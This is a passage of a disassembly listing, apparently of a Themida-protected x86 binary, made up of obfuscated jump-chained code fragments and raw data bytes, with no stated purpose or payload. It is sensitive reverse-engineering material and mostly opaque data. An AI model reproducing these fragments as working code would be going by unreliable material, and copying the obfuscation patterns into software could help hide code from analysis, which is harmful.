loc_55ADC1:				; CODE XREF: Themida_:00551A69j
		jmp	loc_550097
; ---------------------------------------------------------------------------
		dw 0E949h
		dd 0FFFFC21Ah, 0E950E689h, 0FFFFBDC0h, 0E94D8468h, 243C8B40h
		dd 8104C483h, 0BF7A94E7h, 3EFC124h, 0FFA9FDE9h,	48966FFh
		dd 52A1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55ADF6:				; CODE XREF: Themida_:00550256j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7FFC604Ch
		and	esi, 440629FFh
		push	esi
		inc	dword ptr [esp]
		pop	esi
		sub	esi, 0E7BF1D47h
		push	ebx
		mov	ebx, 162B0189h
		add	[esp+8], ebx
		pop	ebx
		jmp	loc_5578F0
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 83000000h,	1C8704EBh, 24248B24h, 54240489h
		dd 0BBBD5558h, 0F726DC0Ah, 0FED81D5h, 452A2508h, 82BDE9h
		db 0
; ---------------------------------------------------------------------------

loc_55AE4D:				; CODE XREF: Themida_:005554B6j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_556274
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 5231E924h, 0D0F6FFFFh, 0DC04C8FEh, 88C28852h, 0D4F9E9D7h
		dd 1C8BFFFFh, 4EC8124h,	89000000h, 58542404h, 405h, 40500h
		dd 4870000h, 0C3815C24h, 4, 0FF6393E9h,	4C481FFh, 0B7000000h
		dd 53EF803Ah, 0FF950EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AEAD:				; CODE XREF: Themida_:005609D3j
		sub	edi, 98C4265h
		sub	esi, 3B920E34h
		add	esi, edi
		add	esi, 3B920E34h
		pop	edi
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		jmp	loc_55AFC3
; ---------------------------------------------------------------------------
		dd 0A77AF381h, 0DE29BD2Ch, 3060E9h, 5BD98900h, 5F10EE81h
		dd 0CE941F3h, 35000099h, 869624D3h, 48BC729h, 4C48124h
		dd 0E9000000h, 0FFFFB00Fh
; ---------------------------------------------------------------------------

loc_55AF00:				; CODE XREF: Themida_:00559CC1j
		xor	ebp, eax
		jmp	loc_562EEC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 751BB53h, 0C1E90537h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AF1B:				; CODE XREF: Themida_:0055EDA7j
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	24h
		push	dword ptr [esp]
		jmp	loc_55A28B
; ---------------------------------------------------------------------------
		dd 4D84EA81h, 2C8B7FECh, 7D12E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AF3E:				; CODE XREF: Themida_:005633B1j
		push	ebx
		jmp	loc_553718
; ---------------------------------------------------------------------------

loc_55AF44:				; CODE XREF: Themida_:00554EA5j
		pop	edx
		sub	edx, 2E1646D4h
		pop	ecx
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	esi
		push	4937h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55D02B
; ---------------------------------------------------------------------------
		db 0B3h
		dd 0C526E948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AF72:				; CODE XREF: Themida_:00565080j
		mov	ebp, eax
		jmp	loc_558735
; ---------------------------------------------------------------------------
byte_55AF79	db 8Bh,	2 dup(24h)	; DATA XREF: Themida_:0054FDBCo
		dd 0FF5116E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AF81:				; CODE XREF: Themida_:00556794j
		mov	ebp, [esp]
		jmp	loc_559D90
; ---------------------------------------------------------------------------
		db 59h,	2Dh, 2Ch
		dd 687FA17Ah, 3171h, 0BF243C89h, 5B82533Eh, 0D105EFC1h
		dd 0F4C781EFh, 56461F7h, 5C617141h, 2F35312Dh, 5F8294Ch
		dd 4C2F3531h, 0FF94B5E9h, 0B6E95DFFh
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55AFC3:				; CODE XREF: Themida_:0055AECBj
		xchg	esi, [esp]
		pop	esp
		push	26E9h
		jmp	loc_560EE7
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 783268h, 240C8900h, 0DDF635B5h, 0CD80D5F6h, 0E9526683h
		dd 24C3h, 0EE81D6F7h, 0B223BAAAh, 55BDE9h, 0FC33000h, 48FC0B6h
		dd 9663E987h, 815E0000h, 4C4h, 0C28BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B012:				; CODE XREF: Themida_:00561005j
		pop	ebp
		pop	esi
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_55035A
; ---------------------------------------------------------------------------

loc_55B022:				; CODE XREF: Themida_:00554A49j
		mov	eax, 7BFB1A1Fh
		inc	eax
		dec	eax
		add	eax, 8404E5E5h
		add	edx, eax
		jmp	loc_55A406
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C5h
		dd 4, 0FF7BE6E9h, 5AFDB8FFh, 0C701013Dh, 80AFE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B04D:				; CODE XREF: Themida_:00551954j
		pop	ebx
		sub	ebx, 0F98610Fh
		sub	ebx, esi
		jmp	loc_55A313
; ---------------------------------------------------------------------------
		db 83h
		dd 0C0E904EBh
		db 6Bh,	2 dup(0)
byte_55B063	db 83h			; DATA XREF: Themida_:0054FFF8o
		dd 0C8904ECh, 0A0685524h, 5D3B2826h, 0DCEAE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B076:				; CODE XREF: Themida_:00558956j
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5624A0
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 4
		dd 5CFFFFCAh, 50243489h, 5E7FE9B8h, 0F67FBE02h,	0C6015BDAh
		dd 0F9F68158h, 922E760h, 0BF575EF3h, 51A0090Fh,	59CFC781h
		dd 0F7814E61h, 87EE2AACh, 67E9FB31h, 8FFFFF78h,	248B2404h
		dd 48B6624h, 0E3895324h, 0FFAF99E9h, 68E95DFFh,	81FFFFA0h
		dd 4C1h, 4C18100h, 33000000h, 0C31240Ch, 240C3324h, 0E189515Ch
		dd 0E904EC83h, 0FFFF67AEh
dword_55B0F4	dd 9D1C77FFh, 4185866h,	94E99C24h, 8BFFFF4Fh, 0DE9240Ch
					; DATA XREF: Themida_:0054FE24o
		dd 89FFFFD0h, 0A32AE9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B112:				; CODE XREF: Themida_:0055B5F0j
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 2C636370h
		jmp	loc_5533D8
; ---------------------------------------------------------------------------
dword_55B124	dd 240C8B66h, 0FF5C58E9h, 5BE95BFFh, 66FFFFAFh,	5224048Bh
					; DATA XREF: Themida_:00550010o
		dd 0ABE9E289h, 68000064h, 5D67h, 57241489h, 912FE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B14D:				; CODE XREF: Themida_:0055B409j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5591A7
; ---------------------------------------------------------------------------
		dd 5A58C129h, 1839EB81h, 0CB013EC8h, 6890E9h, 58C58900h
		dd 0FFA30CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B171:				; CODE XREF: Themida_:0055DCCBj
		mov	ebx, 4FA520B5h
		jmp	loc_56043F
; ---------------------------------------------------------------------------

loc_55B17B:				; CODE XREF: Themida_:005524B9j
		and	esi, 73E64CF9h
		push	edx
		mov	edx, 91E7A0Ch
		dec	edx
		inc	edx
		not	edx
		add	edx, 185A2BB5h
		xor	edx, 1A0D43F3h
		xor	edx, 7EBBA436h
		xor	esi, edx
		pop	edx
		inc	esi
		jmp	loc_564E79
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835A24h, 4BB5304h, 1000000h, 4BC3E9DEh, 0C5010000h
		dd 74FF5558h, 8F5D0424h, 248B2404h, 457EE924h, 0D3BF0000h
		dd 0E90D9E1Dh, 0FFFF529Fh, 6DE9EA01h, 89000009h, 4BD242Ch
		dd 81000000h, 0F76107C6h, 88EE8112h, 13AF652h, 88C681EEh
		dd 813AF652h, 0F76107EEh, 6500E912h, 0C4830000h, 9060E904h
		dd 0C783FFFFh, 243C3302h, 33243C31h, 6DE9243Ch
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B21F:				; CODE XREF: Themida_:0055450Ej
		inc	ecx
		shl	ecx, 5
		xor	ecx, 3FCC11Bh
		jmp	loc_55017D
; ---------------------------------------------------------------------------
		dw 0D921h
		dd 5B2434FFh, 4C481h, 0E9C10000h, 0FC00900h, 2BD584h, 16306800h
		dd 1C890000h, 242C8124h, 3C89348Bh, 8B2434FFh, 0C4812404h
		dd 4, 4EC81h, 14890000h, 0E95A5424h, 106h
; ---------------------------------------------------------------------------

loc_55B270:				; CODE XREF: Themida_:0055DE54j
		mov	edi, 68235B5h
		or	ebx, edi
		pop	edi
		jmp	loc_560F52
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C4h
		dd 4, 8904EC83h, 56BE2434h, 0E906CE32h,	0E28h
; ---------------------------------------------------------------------------

loc_55B294:				; CODE XREF: Themida_:00563BF0j
		sub	ecx, 8717E4E2h
		sub	edx, ecx
		pop	ecx
		add	edx, ecx
		jmp	loc_5529A6
; ---------------------------------------------------------------------------
		dd 4C181h, 0D6E90000h, 8F000003h, 0C5E92404h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B2B7:				; CODE XREF: Themida_:00563146j
		mov	ebx, 0F001BBE9h
		sub	ecx, 79DC304Ch
		add	ecx, ebx
		jmp	loc_55805A
; ---------------------------------------------------------------------------
		db 68h,	0E5h, 28h
		dd 21E90000h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B2D3:				; CODE XREF: Themida_:00550509j
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_561E4B
; ---------------------------------------------------------------------------

loc_55B2E6:				; CODE XREF: Themida_:0055F575j
		pop	eax
		push	ebx
		sub	esp, 4
		jmp	loc_55C82E
; ---------------------------------------------------------------------------
		dd 0C581DDF7h, 1100D007h, 6E9EE01h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B2FF:				; CODE XREF: Themida_:00564C50j
		push	edx
		push	edi
		mov	edi, 1AFA1F11h
		jmp	loc_55DEBB
; ---------------------------------------------------------------------------
		db 0BEh
		dd 57A64FB2h, 3483F681h, 0C6814C57h, 0FFFFFFFFh, 0D7CF681h
		dd 86E93CE6h, 8BFFFFC0h, 8957240Ch, 4C781E7h, 81000000h
		dd 4C7h, 58E95700h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B33F:				; CODE XREF: Themida_:0055F96Aj
		mov	eax, 49A22B3Ch
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6B5B5A62h
		xor	eax, edi
		jmp	loc_5572E0
; ---------------------------------------------------------------------------
		db 1, 0C3h, 58h
		dd 0FFE2E1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B361:				; CODE XREF: Themida_:0055CF2Fj
		mov	[esp], ecx
		mov	ecx, 13FD0572h
		not	ecx
		add	ecx, 0AE2575Dh
		jmp	loc_560875
; ---------------------------------------------------------------------------
aSs		db 'Sé¼',9,0
		align 4

loc_55B37C:				; CODE XREF: Themida_:0055B76Bj
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		jmp	loc_55BA0E
; ---------------------------------------------------------------------------

loc_55B392:				; CODE XREF: Themida_:0056419Aj
		mov	edx, esp
		sub	esp, 4
		mov	[esp], edi
		push	4
		jmp	loc_56345C
; ---------------------------------------------------------------------------
		db 81h
		dd 2F7B42EBh, 0A9C3811Eh, 8B7AA25Fh, 0C481243Ch, 4, 0C570EB81h
		dd 8957DD22h, 4C781E7h,	0E9000000h, 0FFFF8517h,	0F20EB7BFh
		dd 0BAE78115h, 0E901A375h, 0FFFFEAA6h, 80B0B151h, 0CDE9B8E1h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B3EB:				; CODE XREF: Themida_:00563573j
		neg	edx
		inc	edx
		shl	edx, 1
		push	eax
		push	edx
		mov	edx, 68E53756h
		jmp	loc_56304A
; ---------------------------------------------------------------------------
		dd 6B5662BAh, 0E9FA3130h, 0FFFFC932h
; ---------------------------------------------------------------------------

loc_55B408:				; CODE XREF: Themida_:0055BAC8j
		pop	eax
		jmp	loc_55B14D
; ---------------------------------------------------------------------------
		dw 0FF51h
		dd 0FF042474h, 0E9592434h, 91F1h, 4EC81h, 4890000h, 4B824h
		dd 0C6890000h, 5EF50158h, 19C56857h, 0C890000h,	4465E924h
		dd 45680000h, 8900001Eh, 17BB241Ch, 5169E51Fh, 15540CB9h
		dd 244C0124h, 79E9590Ch, 0F7FFFFF1h, 43E581D5h,	0F701F24Eh
		dd 0AA7AE9DDh, 0C581FFFFh, 11FB54B2h, 5614E959h, 0D7010000h
		dd 8BF8215Ah, 0EC81243Ch, 4, 89241C89h,	4EC83E3h, 0B9240C89h
		dd 4, 0FFACD5E9h, 240C8BFFh, 81E78957h,	4C7h, 4C78300h
		dd 5C243C87h, 8B24048Fh, 0E9572424h, 0FFFFDC9Bh
dword_55B4B8	dd 24248B66h, 0FFACA8E9h, 0E38953FFh, 4C381h, 37E90000h
					; DATA XREF: Themida_:0054FE5Co
		dd 0F7000097h, 26E981D1h, 813CF378h, 7C120BC1h,	8F73E91Bh
		dd 0B0E9FFFFh, 5CFFFF4Bh, 8124148Bh, 4C4h, 31F23100h, 0E9F231D6h
		dd 0FFFF97B2h, 241C8966h, 872CF9B3h, 0D800172Ch, 882E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B50D:				; CODE XREF: Themida_:005630A3j
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 4958422Dh
		jmp	loc_550367
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 81243C8Bh, 4C4h, 24048B00h, 81E28952h, 4C2h,	83A6E900h
		dd 0C4810000h, 4, 0FFEA95E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B545:				; CODE XREF: Themida_:00559AA7j
		pop	ecx
		or	edi, 7117A14h
		push	edi
		jmp	loc_55A0FA
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4F46A94Eh, 0FF5BC8E9h, 2BFFFh, 0FA890000h, 0E9D1895Fh
		dd 987Ch, 8904EC83h, 4B82404h, 81000000h, 8F45CFEBh, 0E9C3016Ah
		dd 0FFFF90CBh, 6D073BB8h, 5200E91Bh, 0B0BEFFFFh, 4E611320h
		dd 32B3E9h, 14F75200h, 9F685A24h, 8900002Dh, 8FE92414h
		dd 8B000076h, 0C483240Ch, 4C48304h, 0FFC0B60Fh,	0AE688734h
		dd 8900004Eh, 5CE92404h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B5C7:				; CODE XREF: Themida_:00550E3Dj
		pop	edi
		xor	ebx, [esp]
		jmp	loc_55C379
; ---------------------------------------------------------------------------

loc_55B5D0:				; CODE XREF: Themida_:00555E5Ej
		push	ebp
		jmp	loc_5548AF
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 1000000h, 58E95FFBh
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B5E7:				; CODE XREF: Themida_:00563C50j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55B112
; ---------------------------------------------------------------------------

loc_55B5F5:				; CODE XREF: Themida_:0055BF8Fj
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55AA05
; ---------------------------------------------------------------------------
		dd 51241C8Bh, 0C181E189h, 4, 8704C183h,	525C240Ch, 0FF86B8E9h
		dd 241C89FFh, 494B99BBh, 0A209BD7Eh, 0ED81E9FAh, 3BD10D22h
		dd 953DE9h, 0F3C18100h,	0E9D3F303h, 0FFFFD8DCh,	49EB815Fh
		dd 297E8409h, 30BE56D3h, 0E954CE5Ch, 840Eh, 4246C81h, 360A7A69h
		dd 4247C01h, 4244481h, 360A7A69h, 53243C8Bh, 9FE9E389h
		dd 0BEFFFF8Bh, 0
		dd 1A33E9h, 81E95100h, 5500002Ch, 0FF60EBE9h, 240C87FFh
		dd 6824248Bh, 32B3h, 0FF7B94E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B695:				; CODE XREF: Themida_:0055B749j
		mov	ebp, ebx
		jmp	loc_5553C1
; ---------------------------------------------------------------------------
		dd 7CF6815Eh, 0E93EFB35h, 0FFFF5E6Ah
; ---------------------------------------------------------------------------

loc_55B6A8:				; CODE XREF: Themida_:00559980j
		mov	eax, 10473A09h
		push	ecx
		push	9B36EE4Dh
		pop	ecx
		xor	eax, ecx
		pop	ecx
		jmp	loc_563ED6
; ---------------------------------------------------------------------------
		dd 4559EF81h, 0DF014BF5h, 0E34BA52h, 0EBE92554h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B6CF:				; CODE XREF: Themida_:0056451Ej
		xor	esi, 0B0239AF6h
		add	edi, esi
		pop	esi
		add	edi, 4
		jmp	loc_553533
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 0F8E95C24h, 81FFFF55h, 4C2h, 90D2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B6FA:				; CODE XREF: Themida_:0055DC6Cj
		xor	edx, 0F08303FBh
		jmp	loc_564CF3
; ---------------------------------------------------------------------------
byte_55B705	db 0ADh, 56h, 52h	; DATA XREF: Themida_:0054FEACo
		dd 6403E9h, 0BD555000h,	58CA154Ch, 0C26346B8h, 0B02BE9ECh
		dd 0D701FFFFh, 0FFE387E9h, 0C8005BFFh, 0FFAE51E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B72D:				; CODE XREF: Themida_:00560468j
		pop	eax
		add	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_557799
; ---------------------------------------------------------------------------

loc_55B742:				; CODE XREF: Themida_:005518F2j
		push	ebp
		push	ebx
		mov	ebx, 785317B7h
		jmp	loc_55B695
; ---------------------------------------------------------------------------

loc_55B74E:				; CODE XREF: Themida_:0055056Bj
		mov	[esp], edi
		mov	edi, ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		push	ebx
		mov	ebx, 694C3AC7h
		sub	ebx, 694C3AC3h
		mov	esi, ebx
		pop	ebx
		jmp	loc_55B37C
; ---------------------------------------------------------------------------

loc_55B770:				; CODE XREF: Themida_:00560C97j
		sub	ch, 0CCh
		sub	dl, ch
		pop	ecx
		sub	esp, 2
		mov	[esp], ax
		mov	ah, 0AFh
		jmp	loc_551548
; ---------------------------------------------------------------------------
		db 89h
		dd 0ECBA2414h, 0C1452419h, 1AE903EAh
		db 0E4h, 2 dup(0FFh)
byte_55B797	db 0FFh			; DATA XREF: Themida_:0054FF34o
		dd 83582434h, 48904ECh,	0E9585424h, 8CA2h
; ---------------------------------------------------------------------------

loc_55B7A8:				; CODE XREF: Themida_:0055C359j
		add	edx, edi
		jmp	loc_552CA5
; ---------------------------------------------------------------------------
		db 0BEh
		dd 520F6A40h, 34FFF029h, 0C4815E24h, 4,	8904EC83h, 63E92414h
		dd 5A000085h, 3304C183h, 0C31240Ch, 240C3324h, 0E924248Bh
		dd 0FFFF49E9h, 4683E981h, 0CD015F4Ah, 81240C8Bh, 4C4h
		dd 8E5C100h, 4086C581h,	0EB01D2D1h, 83242C8Bh, 33FF04C4h
		dd 0CA240481h, 59280D0Ah, 0ACAE981h, 34FF280Dh,	7282E924h
		dd 8C05FFFFh, 0E9414E23h, 0FFFF8BB1h, 4C281h, 0B8500000h
		dd 7F202B88h, 619E9h, 51DAF700h, 6AB850h, 31E921ACh
		db 58h,	2 dup(0FFh)
byte_55B843	db 66h			; DATA XREF: Themida_:0054FF68o
		dd 8124048Bh, 4ECh, 24148900h, 91E9E289h, 66FFFF56h, 5B75350h
		dd 0B151C7FEh, 90E1802Ch, 0E1D0C1FEh, 80CEB450h, 32E99AECh
		dd 0B8FFFF48h, 4, 8158C601h, 4C6h, 24348700h, 5A54525Ch
		dd 597BE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B88E:				; CODE XREF: Themida_:00554C16j
		shl	edi, 3
		push	eax
		mov	eax, 0D385B58h
		xor	edi, eax
		pop	eax
		jmp	loc_558604
; ---------------------------------------------------------------------------

loc_55B89F:				; CODE XREF: Themida_:0055DD66j
		mov	ebx, 24h
		sub	ebx, 456C46A9h
		add	ebx, edi
		add	ebx, 456C46A9h
		push	218Bh
		mov	[esp], edx
		mov	edx, 0
		add	edx, ebx
		add	[edx], eax
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55C79C
; ---------------------------------------------------------------------------
		db 5Bh
		dd 1BBB850h, 0BAE91E08h, 5C000011h, 68F9F766h, 744Ah, 0FFDAB8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B901:				; CODE XREF: Themida_:0055A0FDj
		pop	edi
		dec	edi
		neg	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		sub	edi, 7F977E8Eh
		sub	edx, 43C77988h
		add	edx, edi
		add	edx, 43C77988h
		jmp	loc_554529
; ---------------------------------------------------------------------------
		db 89h
		dd 0E954241Ch, 0FFFFF466h
; ---------------------------------------------------------------------------

loc_55B92C:				; CODE XREF: Themida_:00557E3Dj
		mov	edi, 6CFB2CE3h
		xor	[esp+4], edi
		pop	edi
		pop	edi
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 509B5DD3h
		add	eax, 0AF64A231h
		sub	ecx, 2F450FCEh
		jmp	loc_55F56D
; ---------------------------------------------------------------------------

loc_55B958:				; CODE XREF: Themida_:00552BEFj
		add	esp, 4
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5518E2
; ---------------------------------------------------------------------------
aI4SU		db '‰4$éœU',0
		align 10h
		dd 0F75DE959h, 0C181FFFFh, 2A8D0770h, 61E9E901h
		db 83h,	2 dup(0FFh)
byte_55B983	db 66h			; DATA XREF: Themida_:0054FF28o
		dd 6824048Bh, 32F0h, 68243489h,	10A7h, 0FF7C27E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B999:				; CODE XREF: Themida_:00558D4Fj
		mov	edi, 4
		sub	dword ptr [esp+4], 422D5AEAh
		add	[esp+4], edi
		add	dword ptr [esp+4], 422D5AEAh
		jmp	loc_556EC0
; ---------------------------------------------------------------------------

loc_55B9B7:				; CODE XREF: Themida_:00559C7Cj
		xor	edx, 7B2F1459h
		or	edx, 54DE3AD8h
		not	edx
		xor	edx, 8800C522h
		add	ecx, edx
		pop	edx
		push	eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		jmp	loc_564F31
; ---------------------------------------------------------------------------
		dd 8904EC83h, 5DE9241Ch, 89FFFF8Ch, 0B8662404h,	2D661535h
		dd 2966043Ch, 2434FFC3h, 0FF6A4CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B9FD:				; CODE XREF: Themida_:005644D7j
		push	esp
		jmp	loc_55BACD
; ---------------------------------------------------------------------------
		db 56h
		dd 0C2EA7BEh, 0D523E960h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BA0E:				; CODE XREF: Themida_:0055B38Dj
		pop	esi
		jmp	loc_55AB7F
; ---------------------------------------------------------------------------
		dd 8802E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BA1A:				; CODE XREF: Themida_:005562B9j
		push	edx
		mov	edx, 19532E48h
		mov	edi, 0F173DA10h
		add	edi, edx
		pop	edx
		and	ebp, edi
		pop	edi
		xor	ebp, 0C11800h
		jmp	loc_56565E
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0C3900F5h, 0E9D5F739h, 0FFFF7806h, 27E9C731h, 8900001Fh
		dd 0B5512404h, 0B6ED80B2h, 4742E9h, 0E9816600h,	89660C63h
		dd 4F6659CFh, 0FF71CFE9h, 0BBBF57FFh, 0D15E4E2Fh, 0E9D7F7EFh
		dd 603Ch
; ---------------------------------------------------------------------------

loc_55BA78:				; CODE XREF: Themida_:00556D19j
		pop	ebx
		xor	ebp, [esp]
		jmp	loc_55A93E
; ---------------------------------------------------------------------------
byte_55BA81	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055000Co
		dd 9016824h, 94E90000h,	59FFFFFEh, 0E2EF814Fh, 89E43CB8h
		dd 243C8BFDh, 0EAE6E952h, 0C481FFFFh, 4, 2D1BE281h, 0F2814D18h
		dd 341A30CBh, 34FFD001h, 2434FF24h
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_55B408
; ---------------------------------------------------------------------------

loc_55BACD:				; CODE XREF: Themida_:0055B9FEj
		pop	ebx
		push	ecx
		mov	ecx, 78D66E03h
		dec	ecx
		add	ecx, 87299202h
		add	ebx, ecx
		pop	ecx
		jmp	loc_565443
; ---------------------------------------------------------------------------
		db 89h
		dd 67BF243Ch, 0E9777D0Ah, 0FFFF7FF2h, 0BEF9EF81h, 6168396Eh
		dd 89000077h, 3C31243Ch, 243C3324h, 0E9243C31h,	1137h
		dd 0E9240489h, 0FFFF4583h, 66C0E956h, 0CF2D0000h, 0FF4E971Dh
		dd 835B2434h, 0FF2D04C4h, 2924C428h, 28FF05D8h,	0FE924C4h
		dd 66FFFFA4h, 86FB050h,	48B66C3h, 0D27EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BB46:				; CODE XREF: Themida_:0055DEE7j
		push	edi
		jmp	loc_55AC5F
; ---------------------------------------------------------------------------
aLSm		db '‹,$ém&',0
		align 4
		dd 2424895Ch, 4240481h,	5B000000h, 4FBBB951h, 8341763Ah
		dd 0E98101C1h, 763A4FB9h, 0FFB844E9h, 7EC281FFh, 563EED19h
		dd 0CB5992BEh, 0E9F22951h, 0FFFF8604h
; ---------------------------------------------------------------------------

loc_55BB88:				; CODE XREF: Themida_:0056475Bj
		pop	edx
		add	ebx, edx
		push	dword ptr [ebx]
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		pop	edx
		pop	eax
		jmp	loc_5533A0
; ---------------------------------------------------------------------------

loc_55BB9E:				; CODE XREF: Themida_:00558BD7j
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_554983
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 5056B951h, 0BD550F20h, 3C125A39h, 0E677ED81h, 0E931C791h
		dd 13B5E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BBC5:				; CODE XREF: Themida_:0056394Ej
		xor	edi, 645932AEh
		sub	edi, 4339DC5Bh
		shr	edi, 6
		shl	edi, 2
		inc	edi
		xor	edi, 59EE7140h
		sub	edi, 5A50B789h
		jmp	loc_556E72
; ---------------------------------------------------------------------------
byte_55BBE9	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00550018o
		dd 1058669Dh, 0E99C2404h, 0FFFF449Fh
; ---------------------------------------------------------------------------

loc_55BBF8:				; CODE XREF: Themida_:00558E78j
		pop	esi
		xor	ebp, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_550556
; ---------------------------------------------------------------------------
		dd 0DC1F36BAh, 0E9D60153h, 163Dh, 42Dh,	24048700h, 240C895Ch
		dd 0EC7AE952h, 45B8FFFFh, 2902A448h, 15A58C7h, 0E3685FF9h
		dd 89000013h, 0BD552404h, 5CC71ABBh, 4A300CB8h,	5DE801C6h
		dd 0EF5E0C0Dh, 0E525407Dh, 0D175F875h, 5D8F7E8h, 3AFC2A64h
		dd 34FFC129h, 0C4815824h, 4, 31240C33h,	11E9240Ch, 87000019h
		dd 505C242Ch, 0E8D09BB0h, 6808E0C0h, 6B7Bh, 0B1240C89h
		dd 50D1864Fh, 0C280FFB0h, 80C200DBh, 3058DBEAh,	30CA30D1h
		dd 4FE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BC9E:				; CODE XREF: Themida_:005600F4j
		not	dword ptr [esp]
		jmp	loc_557684
; ---------------------------------------------------------------------------
		dw 1489h
		dd 1AB85024h, 0BA061125h, 59BC030Ch, 6F34E9h, 24248B00h
		dd 240CFF66h, 43D1E99Ch, 0F681FFFFh, 624FA862h,	525EF201h
		dd 586EE9h, 73716800h, 4890000h, 0D827B824h, 0C2015E36h
		dd 5AD38958h, 0C16E9h, 0D5686600h, 5A2BE91Eh, 0C083FFFFh
		dd 4EC8104h, 0E9000000h, 0FFFFAF65h, 0FF242C89h, 0E9042474h
		dd 0FFFF896Bh, 0A45C02BFh, 0E9FD296Ch, 372h, 6B2EBF58h
		dd 0EF312911h, 79CF815Dh, 0F7658052h, 0B2E781D7h, 0E92CA030h
		dd 755Eh, 2D7068h, 240C8900h, 103E53B9h, 0CCEEBB78h, 0CB01B25Bh
		dd 0C1DBF759h, 0F38103E3h, 0AC9FA5FCh, 0FFDC91E9h, 81DEF7FFh
